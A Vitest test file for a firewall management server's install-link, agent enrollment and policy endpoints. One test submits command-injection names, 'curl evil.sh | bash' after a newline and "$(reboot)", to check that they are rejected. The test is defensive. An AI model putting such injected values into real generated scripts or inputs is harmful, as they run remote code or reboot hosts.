import { describe, it, expect, afterAll } from 'vitest' import { buildApp } from '../app.js' import type { AppConfig } from '../config.js' const testConfig: AppConfig = { databaseUrl: 'sqlite::memory:', jwtSecret: 'test', jwtTtlHours: 24, serverPort: 8080, staticDir: null, logLevel: 'error', authRequired: false, authIssuer: 'https://auth.test', authPortalUrl: 'http://localhost:5175', publicBaseUrl: 'https://fw.example.com', enrollSeed: 'test-seed', corsOrigins: [], authAuditIngestSecret: null, secretKey: null, statsRetentionDays: 30, } describe('install-links', () => { const appPromise = buildApp({ memory: true, config: testConfig }) afterAll(async () => { const app = await appPromise await app.close() }) it('creates invited agent and serves scripts by id and slug', async () => { const app = await appPromise await app.ready() const created = await app.inject({ method: 'POST', url: '/api/v1/install-links', payload: { name: 'web-01', platform: 'linux' }, }) expect(created.statusCode).toBe(201) const body = created.json() as { id: string slug: string agent_id: string curl: { by_id: string; by_slug: string } } expect(body.id).toBeTruthy() expect(body.slug).toBeTruthy() expect(body.agent_id).toBeTruthy() expect(body.curl.by_id).toContain(`/agent-install/${body.id}`) const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' }) expect(agents.statusCode).toBe(200) const list = agents.json() as { items: { id: string status: string install_curl?: string | null }[] } const invited = list.items.find((a) => a.id === body.agent_id) expect(invited?.status).toBe('invited') expect(invited?.install_curl).toContain(body.slug) const byId = await app.inject({ method: 'GET', url: `/agent-install/${body.id}`, }) expect(byId.statusCode).toBe(200) expect(byId.headers['content-type']).toContain('text/x-shellscript') expect(byId.body).toContain("EVOFW_CLIENT_NAME='web-01'") expect(byId.body).toContain(`EVOFW_INSTALL_LINK_ID='${body.id}'`) const bySlug = await app.inject({ method: 'GET', url: `/${body.slug}`, }) expect(bySlug.statusCode).toBe(200) expect(bySlug.body).toContain("EVOFW_CP_URL='https://fw.example.com'") }) it('enroll with install_link_id updates invited agent to pending', async () => { const app = await appPromise await app.ready() const created = await app.inject({ method: 'POST', url: '/api/v1/install-links', payload: { name: 'web-02', platform: 'linux' }, }) const link = created.json() as { id: string; agent_id: string } const enroll = await app.inject({ method: 'POST', url: '/v1/agent/enroll', headers: { 'content-type': 'application/json', 'x-evofw-seed': 'test-seed', }, payload: { name: 'web-02', hostname: 'host-02', platform: 'linux', token: 'evofw_test_token_1234567890abcd', install_link_id: link.id, }, }) expect(enroll.statusCode).toBe(201) const enrolled = enroll.json() as { id: string; status: string } expect(enrolled.id).toBe(link.agent_id) expect(enrolled.status).toBe('pending') const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' }) const list = agents.json() as { items: { id: string; status: string }[] } const row = list.items.find((a) => a.id === link.agent_id) expect(row?.status).toBe('pending') }) it('rejects install link names with unsafe characters', async () => { const app = await appPromise await app.ready() const bad = await app.inject({ method: 'POST', url: '/api/v1/install-links', payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' }, }) expect(bad.statusCode).toBe(400) const quotes = await app.inject({ method: 'POST', url: '/api/v1/install-links', payload: { name: "name'$(reboot)", platform: 'linux' }, }) expect(quotes.statusCode).toBe(400) }) it('masks per-list api_token in list responses', async () => { const app = await appPromise await app.ready() const created = await app.inject({ method: 'POST', url: '/api/v1/lists', payload: { name: 'evobgp-masked', type: 'evobgp_community', config: { api_url: 'https://bgp.example.com', api_token: 'super-secret-token', community_id: '', }, }, }) expect(created.statusCode).toBe(200) const body = created.json() as { config_json: string } expect(body.config_json).not.toContain('super-secret-token') expect(body.config_json).toContain('********') const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' }) const items = (lists.json() as { items: { config_json: string }[] }).items expect( items.some((l) => l.config_json.includes('super-secret-token')), ).toBe(false) expect(items.some((l) => l.config_json.includes('********'))).toBe(true) }) it('mikrotik install link serves RSC and fetch/import one-liner', async () => { const app = await appPromise await app.ready() const created = await app.inject({ method: 'POST', url: '/api/v1/install-links', payload: { name: 'mt-01', platform: 'mikrotik' }, }) expect(created.statusCode).toBe(201) const body = created.json() as { id: string slug: string agent_id: string curl: { by_id: string; by_slug: string } } expect(body.curl.by_id).toContain('/tool fetch url=') expect(body.curl.by_id).toContain('/import file-name=evofw-install.rsc') expect(body.curl.by_id).not.toContain('| bash') const byId = await app.inject({ method: 'GET', url: `/agent-install/${body.id}`, }) expect(byId.statusCode).toBe(200) expect(byId.headers['content-type']).toContain('text/plain') expect(byId.body).toContain(':global EvofwCpUrl "https://fw.example.com"') expect(byId.body).toContain(`:global EvofwInstallLinkId "${body.id}"`) expect(byId.body).toContain('evofw-deny-drop-input') expect(byId.body).toContain('/v1/agent/policy') expect(byId.body).toContain(':deserialize') expect(byId.body).toContain('evofw-sync-body') expect(byId.body).toContain('remove [find name="evofw-env"]') }) it('approved agent can fetch empty policy without rule sets', async () => { const app = await appPromise await app.ready() const created = await app.inject({ method: 'POST', url: '/api/v1/install-links', payload: { name: 'empty-policy', platform: 'linux' }, }) const link = created.json() as { id: string; agent_id: string } const token = 'evofw_empty_policy_token_abcdefgh' const enroll = await app.inject({ method: 'POST', url: '/v1/agent/enroll', headers: { 'content-type': 'application/json', 'x-evofw-seed': 'test-seed', }, payload: { name: 'empty-policy', platform: 'linux', token, install_link_id: link.id, }, }) expect(enroll.statusCode).toBe(201) await app.inject({ method: 'POST', url: `/api/v1/agents/${link.agent_id}/approve`, }) const policy = await app.inject({ method: 'GET', url: '/v1/agent/policy', headers: { authorization: `Bearer ${token}` }, }) expect(policy.statusCode).toBe(200) const body = policy.json() as { deny_cidrs: string[] allow_cidrs: string[] default_action: string policy_mode: string apply_version: number hash: string script_sha256: string } expect(body.deny_cidrs).toEqual([]) expect(body.allow_cidrs).toEqual([]) expect(body.default_action).toBe('accept') expect(body.policy_mode).toBe('blacklist') expect(body.apply_version).toBe(3) expect(body.hash).toMatch(/^sha256:/) expect(body.script_sha256).toMatch(/^[a-f0-9]{64}$/) const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' }) const row = ( agents.json() as { items: { id: string; last_seen_at: string | null }[] } ).items.find((a) => a.id === link.agent_id) expect(row?.last_seen_at).toBeTruthy() }) it('approved agent can fetch policy.rsc with address-list commands', async () => { const app = await appPromise await app.ready() const created = await app.inject({ method: 'POST', url: '/api/v1/install-links', payload: { name: 'mt-policy', platform: 'mikrotik' }, }) const link = created.json() as { id: string; agent_id: string } const token = 'evofw_mt_policy_token_abcdefghij' const enroll = await app.inject({ method: 'POST', url: '/v1/agent/enroll', headers: { 'content-type': 'application/json', 'x-evofw-seed': 'test-seed', }, payload: { name: 'mt-policy', platform: 'mikrotik', token, install_link_id: link.id, }, }) expect(enroll.statusCode).toBe(201) await app.inject({ method: 'POST', url: `/api/v1/agents/${link.agent_id}/approve`, }) // add a deny override so policy has a CIDR await app.inject({ method: 'POST', url: `/api/v1/agents/${link.agent_id}/overrides`, payload: { action: 'deny', cidr: '203.0.113.0/24' }, }) const rsc = await app.inject({ method: 'GET', url: '/v1/agent/policy.rsc', headers: { authorization: `Bearer ${token}` }, }) expect(rsc.statusCode).toBe(200) expect(rsc.headers['content-type']).toContain('text/plain') expect(rsc.body).toContain('address-list') expect(rsc.body).toContain('EVOFW_DENY') expect(rsc.body).toContain('203.0.113.0/24') }) it('sync-script serves ETag and 304 on If-None-Match', async () => { const app = await appPromise await app.ready() const first = await app.inject({ method: 'GET', url: '/v1/agent/sync-script', }) expect(first.statusCode).toBe(200) expect(first.body.startsWith('#!')).toBe(true) expect(first.body).toContain('maybe_self_update') const etag = String(first.headers.etag ?? '') const sha = String(first.headers['x-evofw-script-sha256'] ?? '') expect(etag).toMatch(/^"[a-f0-9]{64}"$/) expect(sha).toBe(etag.replaceAll('"', '')) const cached = await app.inject({ method: 'GET', url: '/v1/agent/sync-script', headers: { 'if-none-match': etag }, }) expect(cached.statusCode).toBe(304) const miss = await app.inject({ method: 'GET', url: '/v1/agent/sync-script', headers: { 'if-none-match': '"deadbeef"' }, }) expect(miss.statusCode).toBe(200) expect(miss.body).toBe(first.body) const created = await app.inject({ method: 'POST', url: '/api/v1/install-links', payload: { name: 'script-sha-policy', platform: 'linux' }, }) const link = created.json() as { id: string; agent_id: string } const token = 'evofw_script_sha_token_abcdefghij' const enroll = await app.inject({ method: 'POST', url: '/v1/agent/enroll', headers: { 'content-type': 'application/json', 'x-evofw-seed': 'test-seed', }, payload: { name: 'script-sha-policy', platform: 'linux', token, install_link_id: link.id, }, }) expect(enroll.statusCode).toBe(201) await app.inject({ method: 'POST', url: `/api/v1/agents/${link.agent_id}/approve`, }) const policy = await app.inject({ method: 'GET', url: '/v1/agent/policy', headers: { authorization: `Bearer ${token}` }, }) expect(policy.statusCode).toBe(200) expect((policy.json() as { script_sha256: string }).script_sha256).toBe(sha) }) })